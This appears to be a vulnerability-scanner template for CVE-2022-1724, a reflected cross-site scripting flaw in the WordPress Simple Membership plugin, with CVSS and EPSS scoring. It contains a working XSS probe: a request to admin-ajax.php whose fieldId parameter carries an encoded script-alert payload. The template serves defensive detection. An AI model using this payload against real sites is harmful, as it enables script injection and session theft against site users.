CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
43.5%
WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.
id: CVE-2022-1724
info:
name: WordPress Simple Membership <4.1.1 - Cross-Site Scripting
author: Akincibor
severity: medium
description: WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of WordPress Simple Membership plugin (4.1.1 or higher) to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/96a0a667-9c4b-4ea6-b78a-0681e9a9bbae
- https://nvd.nist.gov/vuln/detail/CVE-2022-1724
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/cyllective/CVEs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-1724
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.42122
cpe: cpe:2.3:a:simple-membership-plugin:simple_membership:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: "simple-membership-plugin"
product: "simple_membership"
framework: wordpress
tags: cve,cve2022,xss,wp,wordpress,wpscan,wp-plugin,simple-membership-plugin
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/simple-membership/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Simple Membership'
- 'Tags:'
condition: and
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"<script>alert(document.domain)</script>",'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100c2b314e94750eb6bfa04ca226cc6e1a0f72a07584c039cf68863e5042381ae360220019b581aa0e53e8c3321085a79c33b09cf6f91fc711caee456cd76efb5982908:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
43.5%